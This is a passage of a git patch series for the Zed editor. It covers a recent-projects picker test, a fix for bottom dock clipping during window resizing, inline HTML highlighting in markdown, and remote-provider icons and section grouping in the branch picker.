+            "group should span both folders before removal"
+        );
+        let groups = vec![active_key];
+
+        let popover: Entity<RecentProjects> = cx.update(|cx| {
+            let window = cx.windows()[0];
+            window
+                .update(cx, |_, window, cx| {
+                    RecentProjects::popover(
+                        workspace.downgrade(),
+                        groups,
+                        Some(false),
+                        fh,
+                        window,
+                        cx,
+                    )
+                })
+                .unwrap()
+        });
+        cx.run_until_parked();
+
+        let picker: Entity<Picker<RecentProjectsDelegate>> = cx.update(|cx| {
+            let window = cx.windows()[0];
+            window
+                .update(cx, |_, _window, cx| popover.read(cx).picker.clone())
+                .unwrap()
+        });
+        cx.run_until_parked();
+
+        let a_worktree_id = workspace
+            .read_with(cx, |workspace, cx| {
+                workspace
+                    .project()
+                    .read(cx)
+                    .visible_worktrees(cx)
+                    .find(|wt| wt.read(cx).abs_path().ends_with("a"))
+                    .map(|wt| wt.read(cx).id())
+            })
+            .expect("a worktree should exist");
+
+        cx.update(|cx| {
+            let window = cx.windows()[0];
+            window
+                .update(cx, |_, window, cx| {
+                    picker.update(cx, |picker, cx| {
+                        RecentProjectsDelegate::remove_open_folder(
+                            picker,
+                            a_worktree_id,
+                            window,
+                            cx,
+                        );
+                    });
+                })
+                .unwrap();
+        });
+        cx.run_until_parked();
+
+        let groups_after = picker.read_with(cx, |picker, _| {
+            picker.delegate.window_project_groups.clone()
+        });
+        assert!(
+            !groups_after.iter().any(|key| key
+                .path_list()
+                .paths()
+                .iter()
+                .any(|path| path.ends_with("a"))),
+            "the removed folder should no longer appear in any This Window group, got {groups_after:?}"
+        );
+    }
 }

From ac09219cad65e900c3da690cae272b33d834ebc0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=80=E1=B4=8D=E1=B4=9B=E1=B4=8F=E1=B4=80=E1=B4=87?=
 =?UTF-8?q?=CA=80?= <amtoaer@gmail.com>
Date: Mon, 20 Jul 2026 11:31:10 +0800
Subject: [PATCH 548/772] workspace: Fix bottom dock clipping when resizing
 windows (#61161)

# Objective

Fixes #59983.

Reducing the Zed window height with the terminal open can clip the
Bottom Dock and terminal content. The dock should shrink to remain
within the workspace instead of extending beyond the window.

## Solution

Restore height clamping for Bottom Dock panels by skipping
`clamp_panel_size` only when a panel actually uses flexible width.
Flexible sizing remains unchanged for the Left and Right Docks, while
Bottom Dock panels once again reduce their stored height to fit the
available workspace.

## Testing

Added a regression test that distinguishes flexible Bottom and Right
Dock behavior. It confirms that the Bottom Dock is clamped while the
flexible-width Right Dock is not. The test failed with the previous
condition and passed with this change.

Manually verified the reported window-resizing scenario locally.


## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

+ Before


https://github.com/user-attachments/assets/c56995a8-47c6-45b6-aeb4-b0b56477c737

+ After


https://github.com/user-attachments/assets/97b5ca6f-cf6f-4dd5-b981-e44bd8139490

---

Release Notes:

- Fixed bottom dock clipping when resizing windows.
---
 crates/workspace/src/dock.rs      |  5 +++--
 crates/workspace/src/workspace.rs | 34 +++++++++++++++++++++++++++++++
 2 files changed, 37 insertions(+), 2 deletions(-)

diff --git a/crates/workspace/src/dock.rs b/crates/workspace/src/dock.rs
index 139da5f7a933d2..b61830d67e3d67 100644
--- a/crates/workspace/src/dock.rs
+++ b/crates/workspace/src/dock.rs
@@ -1050,8 +1050,9 @@ impl Dock {
         let max_size = (max_size - RESIZE_HANDLE_SIZE).abs();
         let mut clamped = false;
         for entry in &mut self.panel_entries {
-            let use_flexible = entry.panel.has_flexible_size(window, cx);
-            if use_flexible {
+            let uses_flexible_width =
+                panel_uses_flexible_width(self.position, entry.panel.as_ref(), window, cx);
+            if uses_flexible_width {
                 continue;
             }
 
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index c26cde9bf84ff9..694b11e6460b46 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -14249,6 +14249,40 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_clamp_panel_size_only_skips_flexible_width(cx: &mut TestAppContext) {
+        init_test(cx);
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let (workspace, cx) =
+            cx.add_window_view(|window, cx| Workspace::test_new(project, window, cx));
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            let bottom_panel = cx.new(|cx| TestPanel::new_flexible(DockPosition::Bottom, 100, cx));
+            let right_panel = cx.new(|cx| TestPanel::new_flexible(DockPosition::Right, 100, cx));
+            workspace.add_panel(bottom_panel.clone(), window, cx);
+            workspace.add_panel(right_panel.clone(), window, cx);
+
+            let max_size = px(200.);
+            workspace.bottom_dock().update(cx, |dock, cx| {
+                dock.clamp_panel_size(max_size, window, cx);
+                assert_eq!(
+                    dock.stored_panel_size_state(&bottom_panel)
+                        .and_then(|state| state.size),
+                    Some(max_size - dock::RESIZE_HANDLE_SIZE)
+                );
+            });
+            workspace.right_dock().update(cx, |dock, cx| {
+                dock.clamp_panel_size(max_size, window, cx);
+                assert_eq!(
+                    dock.stored_panel_size_state(&right_panel)
+                        .and_then(|state| state.size),
+                    None
+                );
+            });
+        });
+    }
+
     #[gpui::test]
     async fn test_panel_size_state_persistence(cx: &mut gpui::TestAppContext) {
         init_test(cx);

From 8677759c7aedcd842f02351160dd17dfd34777c6 Mon Sep 17 00:00:00 2001
From: Finn Eitreim <48069764+feitreim@users.noreply.github.com>
Date: Sun, 19 Jul 2026 23:52:32 -0400
Subject: [PATCH 549/772] markdown: Fix inline HTML block highlighting (#61212)

# Objective

Fixes #59304

Right now inline html tags don't render with any kind of highlighting,
despite the fact that non-inline html tags do get highlighting.

## Solution

Right now zed already has tree-sitter rules that identifies the inline
blocks so we can add a new tree-sitter grammar rule,
```
((html_tag) @injection.content
  (#set! injection.language "html")
  (#set! injection.combined))
```
that passes these blocks to the html language server.

## Testing

I did some manual testing:


https://github.com/user-attachments/assets/92e5b322-bbc1-48c3-a615-0d32acc2e7d6

And also added a test:
test_markdown_inline_html_highlighting


## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- markdown: Fixed inline html block highlighting.
---
 .../src/markdown-inline/injections.scm        |  4 +
 crates/language/src/buffer_tests.rs           | 98 +++++++++++++++++++
 2 files changed, 102 insertions(+)

diff --git a/crates/grammars/src/markdown-inline/injections.scm b/crates/grammars/src/markdown-inline/injections.scm
index 074b08fd87432f..3b82d3697c6459 100644
--- a/crates/grammars/src/markdown-inline/injections.scm
+++ b/crates/grammars/src/markdown-inline/injections.scm
@@ -1,2 +1,6 @@
+((html_tag) @injection.content
+  (#set! injection.language "html")
+  (#set! injection.combined))
+
 ((latex_block) @injection.content
   (#set! injection.language "latex"))
diff --git a/crates/language/src/buffer_tests.rs b/crates/language/src/buffer_tests.rs
index ea4c49d920c887..a5dd8f4b07e569 100644
--- a/crates/language/src/buffer_tests.rs
+++ b/crates/language/src/buffer_tests.rs
@@ -2981,6 +2981,104 @@ fn test_language_at_for_markdown_code_block(cx: &mut App) {
     });
 }
 
+#[gpui::test]
+async fn test_markdown_inline_html_highlighting(cx: &mut TestAppContext) {
+    let markdown_language = markdown_lang();
+    let markdown_inline_language = Arc::new(
+        Language::new(
+            LanguageConfig {
+                name: "markdown-inline".into(),
+                grammar: Some("markdown-inline".into()),
+                ..Default::default()
+            },
+            Some(tree_sitter_md::INLINE_LANGUAGE.into()),
+        )
+        .with_highlights_query(include_str!(
+            "../../grammars/src/markdown-inline/highlights.scm"
+        ))
+        .unwrap()
+        .with_injection_query(include_str!(
+            "../../grammars/src/markdown-inline/injections.scm"
+        ))
+        .unwrap(),
+    );
+    let html_language = Arc::new(
+        Language::new(
+            LanguageConfig {
+                name: "HTML".into(),
+                ..Default::default()
+            },
+            Some(tree_sitter_html::LANGUAGE.into()),
+        )
+        .with_highlights_query("(comment) @comment (tag_name) @tag")
+        .unwrap(),
+    );
+    let syntax_theme = SyntaxTheme::new([
+        ("comment".to_string(), gpui::rgba(0xffffffff).into()),
+        ("tag".to_string(), gpui::rgba(0xff0000ff).into()),
+    ]);
+    markdown_language.set_theme(&syntax_theme);
+    markdown_inline_language.set_theme(&syntax_theme);
+    html_language.set_theme(&syntax_theme);
+    let language_registry = Arc::new(LanguageRegistry::test(cx.background_executor.clone()));
+    language_registry.add(markdown_language.clone());
+    language_registry.add(markdown_inline_language);
+    language_registry.add(html_language);
+
+    let text = "<!--Annotation from the start is OK-->\n\n\
+        Annotation in the middle <!--is rendered badly.-->\n\n\
+        An inline comment can span <!--multiple\nlines--> within a paragraph.\n\n\
+        Ordinary inline HTML: <em>emphasized</em>.";
+    let buffer = cx.new(|cx| {
+        let mut buffer = Buffer::local(text, cx);
+        buffer.set_language_registry(language_registry);
+        buffer.set_language(Some(markdown_language), cx);
+        buffer
+    });
+
+    cx.run_until_parked();
+
+    buffer.read_with(cx, |buffer, _cx| {
+        let snapshot = buffer.snapshot();
+        let highlighted_text = |capture_name: &str| {
+            let highlight_id = syntax_theme
+                .highlight_id(capture_name)
+                .map(HighlightId::new);
+            assert!(highlight_id.is_some(), "{capture_name} not in test theme");
+            let mut runs: Vec<String> = Vec::new();
+            let mut previous_chunk_matched = false;
+            let chunks = snapshot.chunks(
+                0..snapshot.len(),
+                LanguageAwareStyling {
+                    tree_sitter: true,
+                    diagnostics: false,
+                },
+            );
+            for chunk in chunks {
+                let chunk_matches = chunk.syntax_highlight_id == highlight_id;
+                if chunk_matches {
+                    match runs.last_mut() {
+                        Some(last_run) if previous_chunk_matched => last_run.push_str(chunk.text),
+                        _ => runs.push(chunk.text.to_string()),
+                    }
+                }
+                previous_chunk_matched = chunk_matches;
+            }
+            runs
+        };
+
+        assert_eq!(
+            highlighted_text("comment"),
+            vec![
+                "<!--Annotation from the start is OK-->",
+                "<!--is rendered badly.-->",
+                "<!--multiple\nlines-->",
+            ]
+        );
+        assert_eq!(highlighted_text("tag"), vec!["em", "em"]);
+    });
+}
+
 #[gpui::test]
 fn test_syntax_layer_at_for_combined_injections(cx: &mut App) {
     init_settings(cx, |_| {});

From a9a7cdd54c984da8f4682988d3b721e2684901f1 Mon Sep 17 00:00:00 2001
From: Sathwik Chirivelli <146921254+chirivelli@users.noreply.github.com>
Date: Mon, 20 Jul 2026 09:30:48 +0530
Subject: [PATCH 550/772] branch_picker: Add remote icons and fix edge cases
 (#61215)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Make the branch picker easier to scan and ensure branch creation and
remote icons behave consistently across All, Local, and Remote filters.

## Solution

- Group local and remote branches under their own headers in the All
filter.
- Place the create-branch option above branch sections when there is no
exact branch-name match.
- Resolve each remote's hosting provider from its URL and show the
provider icon for branches from that remote.
- Include remote URLs in remote-workspace repository responses so
arbitrary remote names work without hardcoding `origin` or `upstream`.

## Edge Cases Fixed

- An exact branch can exist outside the active Local or Remote filter.
The picker now checks all branches before offering to create a duplicate
branch.
- A non-exact search can return fuzzy branch matches and a create
action. The create action now stays at the top, before the Local and
Remote section headers.
- When a filtered search has no branch matches, the create action is
shown without incorrectly placing it under a Local Branches or Remote
Branches header.
- Repositories can use any remote name, not only `origin` and
`upstream`. Provider icons are resolved independently for every
configured remote.
- Remotes hosted on an unknown or unsupported forge use the generic
server icon instead of implying a desktop or a specific provider.
- Remote-workspace repositories carry the same remote-name-to-URL data
as local repositories, so their branch icons follow the same
provider-resolution path.

## Testing

- `cargo check -p git_ui --no-default-features`
- Branch picker test suite (17 tests)
- `git diff --check`

Tested on macOS.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<img width="560" height="522" alt="Screenshot 2026-07-17 at 11 19 27 PM"
src="https://github.com/user-attachments/assets/28d57315-b859-4a8d-86ca-53f9fb513bf5"
/>

The updated branch picker groups local and remote branches, keeps the
create-branch action above those sections, and shows forge-specific
icons for remote branches.

---

Release Notes:

- Improved branch picker filtering, grouping, branch creation
suggestions, and remote-provider icons.
---
 crates/git_ui/src/branch_picker.rs | 503 +++++++++++++++++++----------
 crates/project/src/git_store.rs    |  33 ++
 crates/proto/proto/git.proto       |   1 +
 3 files changed, 368 insertions(+), 169 deletions(-)

diff --git a/crates/git_ui/src/branch_picker.rs b/crates/git_ui/src/branch_picker.rs
index 698bbc97fc397b..a953eb9c61f649 100644
--- a/crates/git_ui/src/branch_picker.rs
+++ b/crates/git_ui/src/branch_picker.rs
@@ -2,8 +2,9 @@ use anyhow::Context as _;
 use editor::Editor;
 use fuzzy_nucleo::StringMatchCandidate;
 
-use collections::HashSet;
+use collections::{HashMap, HashSet};
 use git::repository::{Branch, delete_branch_flag};
+use git::{GitHostingProviderRegistry, parse_git_remote_url};
 use gpui::http_client::Url;
 use gpui::{
     Action, App, Context, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable, Global,
@@ -277,6 +278,9 @@ impl BranchList {
         let default_branch_request = repository.clone().map(|repository| {
             repository.update(cx, |repository, _| repository.default_branch(false))
         });
+        let remote_urls_request = repository
+            .clone()
+            .map(|repository| repository.update(cx, |repository, _| repository.remote_urls()));
 
         let mut delegate = BranchListDelegate::new(
             workspace,
@@ -289,7 +293,7 @@ impl BranchList {
         delegate.branch_list_error = branch_list_error;
 
         let picker = cx.new(|cx| {
-            Picker::uniform_list(delegate, window, cx)
+            Picker::list(delegate, window, cx)
                 .initial_width(width)
                 .show_scrollbar(true)
                 .when(embedded, |picker| picker.embedded())
@@ -350,6 +354,21 @@ impl BranchList {
         })
         .detach_and_log_err(cx);
 
+        cx.spawn(async move |this, cx| {
+            let remote_urls = remote_urls_request
+                .context("No active repository")?
+                .await??;
+            let remote_provider_icons = cx.update(|cx| remote_provider_icons(&remote_urls, cx));
+            this.update(cx, |this, cx| {
+                this.picker.update(cx, |picker, cx| {
+                    picker.delegate.remote_provider_icons = remote_provider_icons;
+                    cx.notify();
+                });
+            })?;
+            anyhow::Ok(())
+        })
+        .detach_and_log_err(cx);
+
         Self {
             picker,
             picker_focus_handle,
@@ -655,6 +674,7 @@ pub struct BranchListDelegate {
     restore_selected_branch: Option<SharedString>,
     show_footer: bool,
     hovered_delete_index: Option<usize>,
+    remote_provider_icons: HashMap<String, IconName>,
 }
 
 enum BranchSelectionBehavior {
@@ -895,15 +915,25 @@ fn sort_branch_entries(
     matches: &mut [Entry],
     branch_selection_context: Option<&BranchSelectionContext>,
 ) {
+    let selected_branch_is_remote = branch_selection_context
+        .and_then(|context| context.selected_branch.as_ref())
+        .and_then(|selected_branch| {
+            matches.iter().find_map(|entry| {
+                let branch = entry.as_branch()?;
+                branch_matches_ref(branch, selected_branch).then(|| branch.is_remote())
+            })
+        })
+        .unwrap_or(false);
+
     matches.sort_by_key(|entry| {
         let Some(branch) = entry.as_branch() else {
-            return (4, false);
+            return (true, 4);
         };
 
         let priority = branch_selection_context
             .map(|context| context.priority(branch))
             .unwrap_or(0);
-        (priority, branch.is_remote())
+        (branch.is_remote() != selected_branch_is_remote, priority)
     });
 }
 
@@ -982,6 +1012,7 @@ impl BranchListDelegate {
             restore_selected_branch,
             show_footer: false,
             hovered_delete_index: None,
+            remote_provider_icons: HashMap::default(),
         }
     }
 
@@ -1180,8 +1211,28 @@ impl BranchListDelegate {
     }
 }
 
+fn remote_provider_icons(
+    remote_urls: &HashMap<String, String>,
+    cx: &App,
+) -> HashMap<String, IconName> {
+    let Some(provider_registry) = GitHostingProviderRegistry::try_global(cx) else {
+        return HashMap::default();
+    };
+
+    remote_urls
+        .iter()
+        .filter_map(|(remote_name, remote_url)| {
+            let (provider, _) = parse_git_remote_url(provider_registry.clone(), remote_url)?;
+            Some((
+                remote_name.clone(),
+                crate::get_provider_icon(&provider.name()),
+            ))
+        })
+        .collect()
+}
+
 impl PickerDelegate for BranchListDelegate {
-    type ListItem = ListItem;
+    type ListItem = AnyElement;
 
     fn name() -> &'static str {
         "branch picker"
@@ -1304,7 +1355,12 @@ impl PickerDelegate for BranchListDelegate {
         _window: &mut Window,
         _cx: &mut Context<Picker<Self>>,
     ) -> Option<AnyElement> {
-        if self.branch_filter == BranchFilter::All {
+        if self.branch_filter == BranchFilter::All
+            || !self
+                .matches
+                .first()
+                .is_some_and(|entry| entry.as_branch().is_some())
+        {
             return None;
         }
 
@@ -1364,10 +1420,10 @@ impl PickerDelegate for BranchListDelegate {
 
             let mut matches: Vec<Entry> = if query.is_empty() {
                 let mut matches: Vec<Entry> = all_branches
-                    .into_iter()
+                    .iter()
                     .filter(|branch| branch_matches_filter(branch))
                     .map(|branch| Entry::Branch {
-                        branch,
+                        branch: branch.clone(),
                         positions: Vec::new(),
                     })
                     .collect();
@@ -1426,7 +1482,7 @@ impl PickerDelegate for BranchListDelegate {
 
                     if !picker.delegate.is_select_only()
                         && !query.is_empty()
-                        && !matches.first().is_some_and(|entry| entry.name() == query)
+                        && !all_branches.iter().any(|branch| branch.name() == query)
                     {
                         let query = normalize_branch_name(&query);
                         let is_url = query.trim_start_matches("git@").parse::<Url>().is_ok();
@@ -1618,7 +1674,11 @@ impl PickerDelegate for BranchListDelegate {
                 if is_checked_branch {
                     IconName::Check
                 } else if branch.is_remote() {
-                    IconName::Screen
+                    branch
+                        .remote_name()
+                        .and_then(|remote_name| self.remote_provider_icons.get(remote_name))
+                        .copied()
+                        .unwrap_or(IconName::Server)
                 } else {
                     IconName::GitBranch
                 }
@@ -1714,172 +1774,195 @@ impl PickerDelegate for BranchListDelegate {
                 .into_any_element()
         });
 
-        Some(
-            ListItem::new(format!("vcs-menu-{ix}"))
-                .inset(true)
-                .spacing(ListItemSpacing::Sparse)
-                .toggle_state(selected)
-                .child(
-                    h_flex()
-                        .w_full()
-                        .gap_2p5()
-                        .flex_grow_1()
-                        .child(
-                            Icon::new(entry_icon)
-                                .color(if is_checked_branch {
-                                    Color::Accent
-                                } else {
-                                    Color::Muted
-                                })
-                                .size(IconSize::Small),
-                        )
-                        .child(
-                            v_flex()
-                                .id("info_container")
-                                .w_full()
-                                .child(entry_title)
-                                .child({
-                                    let message = match entry {
-                                        Entry::NewUrl { url } => format!("Based off {url}"),
-                                        Entry::NewRemoteName { url, .. } => {
-                                            format!("Based off {url}")
-                                        }
-                                        Entry::NewBranch { .. } => {
-                                            if let Some(current_branch) =
-                                                self.repo.as_ref().and_then(|repo| {
-                                                    repo.read(cx).branch.as_ref().map(|b| b.name())
-                                                })
-                                            {
-                                                format!("Based off {}", current_branch)
-                                            } else {
-                                                "Based off the current branch".to_string()
-                                            }
+        let list_item = ListItem::new(format!("vcs-menu-{ix}"))
+            .inset(true)
+            .spacing(ListItemSpacing::Sparse)
+            .toggle_state(selected)
+            .child(
+                h_flex()
+                    .w_full()
+                    .gap_2p5()
+                    .flex_grow_1()
+                    .child(
+                        Icon::new(entry_icon)
+                            .color(if is_checked_branch {
+                                Color::Accent
+                            } else {
+                                Color::Muted
+                            })
+                            .size(IconSize::Small),
+                    )
+                    .child(
+                        v_flex()
+                            .id("info_container")
+                            .w_full()
+                            .child(entry_title)
+                            .child({
+                                let message = match entry {
+                                    Entry::NewUrl { url } => format!("Based off {url}"),
+                                    Entry::NewRemoteName { url, .. } => {
+                                        format!("Based off {url}")
+                                    }
+                                    Entry::NewBranch { .. } => {
+                                        if let Some(current_branch) =
+                                            self.repo.as_ref().and_then(|repo| {
+                                                repo.read(cx).branch.as_ref().map(|b| b.name())
+                                            })
+                                        {
+                                            format!("Based off {}", current_branch)
+                                        } else {
+                                            "Based off the current branch".to_string()
                                         }
-                                        Entry::Branch { .. } => String::new(),
+                                    }
+                                    Entry::Branch { .. } => String::new(),
+                                };
+
+                                if matches!(entry, Entry::Branch { .. }) {
+                                    let show_author_name = ProjectSettings::get_global(cx)
+                                        .git
+                                        .branch_picker
+                                        .show_author_name;
+                                    let has_author = show_author_name && author_name.is_some();
+                                    let has_commit = commit_time.is_some();
+                                    let author_for_meta =
+                                        if show_author_name { author_name } else { None };
+
+                                    let dot = || {
+                                        Label::new("•")
+                                            .alpha(0.5)
+                                            .color(Color::Muted)
+                                            .size(LabelSize::Small)
                                     };
 
-                                    if matches!(entry, Entry::Branch { .. }) {
-                                        let show_author_name = ProjectSettings::get_global(cx)
-                                            .git
-                                            .branch_picker
-                                            .show_author_name;
-                                        let has_author = show_author_name && author_name.is_some();
-                                        let has_commit = commit_time.is_some();
-                                        let author_for_meta =
-                                            if show_author_name { author_name } else { None };
-
-                                        let dot = || {
-                                            Label::new("•")
-                                                .alpha(0.5)
-                                                .color(Color::Muted)
-                                                .size(LabelSize::Small)
-                                        };
-
-                                        h_flex()
-                                            .w_full()
-                                            .min_w_0()
-                                            .gap_1p5()
-                                            .when_some(author_for_meta, |this, author| {
-                                                this.child(
-                                                    Label::new(author)
-                                                        .color(Color::Muted)
-                                                        .size(LabelSize::Small),
-                                                )
-                                            })
-                                            .when_some(commit_time, |this, time| {
-                                                this.when(has_author, |this| this.child(dot()))
-                                                    .child(
-                                                        Label::new(time)
-                                                            .color(Color::Muted)
-                                                            .size(LabelSize::Small),
+                                    h_flex()
+                                        .w_full()
+                                        .min_w_0()
+                                        .gap_1p5()
+                                        .when_some(author_for_meta, |this, author| {
+                                            this.child(
+                                                Label::new(author)
+                                                    .color(Color::Muted)
+                                                    .size(LabelSize::Small),
+                                            )
+                                        })
+                                        .when_some(commit_time, |this, time| {
+                                            this.when(has_author, |this| this.child(dot())).child(
+                                                Label::new(time)
+                                                    .color(Color::Muted)
+                                                    .size(LabelSize::Small),
+                                            )
+                                        })
+                                        .when_some(subject, |this, subj| {
+                                            this.when(has_commit, |this| this.child(dot())).child(
+                                                Label::new(subj.to_string())
+                                                    .color(Color::Muted)
+                                                    .size(LabelSize::Small)
+                                                    .truncate()
+                                                    .flex_1(),
+                                            )
+                                        })
+                                        .when(!has_commit, |this| {
+                                            this.child(
+                                                Label::new("No commits found")
+                                                    .color(Color::Muted)
+                                                    .size(LabelSize::Small),
+                                            )
+                                        })
+                                        .into_any_element()
+                                } else {
+                                    Label::new(message)
+                                        .size(LabelSize::Small)
+                                        .color(Color::Muted)
+                                        .truncate()
+                                        .into_any_element()
+                                }
+                            })
+                            .when_some(
+                                entry.as_branch().map(|b| b.name().to_string()),
+                                |this, branch_name| {
+                                    let absolute_time = absolute_time.clone();
+                                    this.tooltip({
+                                        let is_head = is_head_branch;
+                                        let is_checked = is_checked_branch;
+                                        let is_select_only = self.is_select_only();
+                                        Tooltip::element(move |_, _| {
+                                            v_flex()
+                                                .child(Label::new(branch_name.clone()))
+                                                .when(is_select_only && is_checked, |this| {
+                                                    this.child(
+                                                        Label::new("Selected Branch")
+                                                            .size(LabelSize::Small)
+                                                            .color(Color::Muted),
                                                     )
-                                            })
-                                            .when_some(subject, |this, subj| {
-                                                this.when(has_commit, |this| this.child(dot()))
-                                                    .child(
-                                                        Label::new(subj.to_string())
-                                                            .color(Color::Muted)
+                                                })
+                                                .when(is_head, |this| {
+                                                    this.child(
+                                                        Label::new("Current Branch")
                                                             .size(LabelSize::Small)
-                                                            .truncate()
-                                                            .flex_1(),
+                                                            .color(Color::Muted),
                                                     )
-                                            })
-                                            .when(!has_commit, |this| {
-                                                this.child(
-                                                    Label::new("No commits found")
-                                                        .color(Color::Muted)
-                                                        .size(LabelSize::Small),
-                                                )
-                                            })
-                                            .into_any_element()
-                                    } else {
-                                        Label::new(message)
-                                            .size(LabelSize::Small)
-                                            .color(Color::Muted)
-                                            .truncate()
-                                            .into_any_element()
-                                    }
-                                })
-                                .when_some(
-                                    entry.as_branch().map(|b| b.name().to_string()),
-                                    |this, branch_name| {
-                                        let absolute_time = absolute_time.clone();
-                                        this.tooltip({
-                                            let is_head = is_head_branch;
-                                            let is_checked = is_checked_branch;
-                                            let is_select_only = self.is_select_only();
-                                            Tooltip::element(move |_, _| {
-                                                v_flex()
-                                                    .child(Label::new(branch_name.clone()))
-                                                    .when(is_select_only && is_checked, |this| {
-                                                        this.child(
-                                                            Label::new("Selected Branch")
-                                                                .size(LabelSize::Small)
-                                                                .color(Color::Muted),
-                                                        )
-                                                    })
-                                                    .when(is_head, |this| {
-                                                        this.child(
-                                                            Label::new("Current Branch")
-                                                                .size(LabelSize::Small)
-                                                                .color(Color::Muted),
-                                                        )
-                                                    })
-                                                    .when_some(
-                                                        absolute_time.clone(),
-                                                        |this, time| {
-                                                            this.child(
-                                                                Label::new(time)
-                                                                    .size(LabelSize::Small)
-                                                                    .color(Color::Muted),
-                                                            )
-                                                        },
+                                                })
+                                                .when_some(absolute_time.clone(), |this, time| {
+                                                    this.child(
+                                                        Label::new(time)
+                                                            .size(LabelSize::Small)
+                                                            .color(Color::Muted),
                                                     )
-                                                    .into_any_element()
-                                            })
+                                                })
+                                                .into_any_element()
                                         })
-                                    },
-                                ),
-                        ),
-                )
-                .when(
-                    !self.is_select_only() && !is_new_items && !is_head_branch,
-                    |this| {
-                        this.end_slot(deleted_branch_icon(ix))
-                            .show_end_slot_on_hover()
-                    },
-                )
-                .when_some(
-                    if is_new_items {
-                        create_from_default_button
+                                    })
+                                },
+                            ),
+                    ),
+            )
+            .when(
+                !self.is_select_only() && !is_new_items && !is_head_branch,
+                |this| {
+                    this.end_slot(deleted_branch_icon(ix))
+                        .show_end_slot_on_hover()
+                },
+            )
+            .when_some(
+                if is_new_items {
+                    create_from_default_button
+                } else {
+                    None
+                },
+                |this, create_from_default_button| {
+                    this.end_slot(create_from_default_button)
+                        .show_end_slot_on_hover()
+                },
+            );
+
+        let section_header = (self.branch_filter == BranchFilter::All)
+            .then(|| entry.as_branch())
+            .flatten()
+            .and_then(|branch| {
+                let starts_section = ix == 0
+                    || self.matches[ix - 1]
+                        .as_branch()
+                        .is_none_or(|previous_branch| {
+                            previous_branch.is_remote() != branch.is_remote()
+                        });
+                starts_section.then(|| {
+                    if branch.is_remote() {
+                        "Remote Branches"
                     } else {
-                        None
-                    },
-                    |this, create_from_default_button| {
-                        this.end_slot(create_from_default_button)
-                            .show_end_slot_on_hover()
-                    },
-                ),
+                        "Local Branches"
+                    }
+                })
+            });
+
+        Some(
+            v_flex()
+                .w_full()
+                .when_some(section_header, |this, section_header| {
+                    this.pt_1p5()
+                        .child(ListSubHeader::new(section_header).inset(true))
+                })
+                .child(list_item)
+                .into_any_element(),
         )
     }
 
@@ -2140,6 +2223,7 @@ mod tests {
             ),
             create_test_branch("main", false, Some("origin"), Some(1000)),
             create_test_branch("feature", false, Some("origin"), Some(900)),
+            create_test_branch("topic", false, Some("origin"), Some(850)),
             create_test_branch("main", false, Some("fork"), Some(800)),
         ]);
 
@@ -2183,11 +2267,24 @@ mod tests {
         let ordered_branch_names = entries.iter().map(Entry::name).collect::<Vec<_>>();
         assert_eq!(ordered_branch_names.first(), Some(&"origin/main"));
         assert!(
-            ordered_branch_names.iter().position(|name| *name == "main")
+            entries
+                .windows(2)
+                .filter(|entries| {
+                    entries[0].as_branch().map(Branch::is_remote)
+                        != entries[1].as_branch().map(Branch::is_remote)
+                })
+                .count()
+                <= 1,
+            "local and remote branches should each form a contiguous section"
+        );
+        assert!(
+            ordered_branch_names
+                .iter()
+                .position(|name| *name == "origin/topic")
                 < ordered_branch_names
                     .iter()
                     .position(|name| *name == "fork/main"),
-            "branches on the active branch's remote should be prioritized"
+            "branches on the active branch's remote should be prioritized within their section"
         );
     }
 
@@ -2317,6 +2414,74 @@ mod tests {
                 assert!(last_match.is_new_branch());
             })
         });
+
+        for branch_filter in [BranchFilter::Local, BranchFilter::Remote] {
+            branch_list
+                .update_in(cx, |branch_list, window, cx| {
+                    branch_list.picker.update(cx, |picker, cx| {
+                        picker.delegate.branch_filter = branch_filter;
+                        picker
+                            .delegate
+                            .update_matches(String::from("missing-branch"), window, cx)
+                    })
+                })
+                .await;
+            cx.run_until_parked();
+
+            branch_list.update_in(cx, |branch_list, window, cx| {
+                branch_list.picker.update(cx, |picker, cx| {
+                    assert!(
+                        picker.delegate.render_header(window, cx).is_none(),
+                        "create-only results should not be shown under a branch section header"
+                    );
+                    assert!(matches!(
+                        picker.delegate.matches.as_slice(),
+                        [Entry::NewBranch { .. }]
+                    ));
+                })
+            });
+        }
+
+        branch_list
+            .update_in(cx, |branch_list, window, cx| {
+                branch_list.picker.update(cx, |picker, cx| {
+                    picker.delegate.branch_filter = BranchFilter::Remote;
+                    picker
+                        .delegate
+                        .update_matches(String::from("feature-ui"), window, cx)
+                })
+            })
+            .await;
+        cx.run_until_parked();
+
+        branch_list.update(cx, |branch_list, cx| {
+            branch_list.picker.update(cx, |picker, _cx| {
+                assert!(
+                    picker.delegate.matches.is_empty(),
+                    "an exact branch hidden by the active filter should not be offered for creation"
+                );
+            })
+        });
+
+        branch_list
+            .update_in(cx, |branch_list, window, cx| {
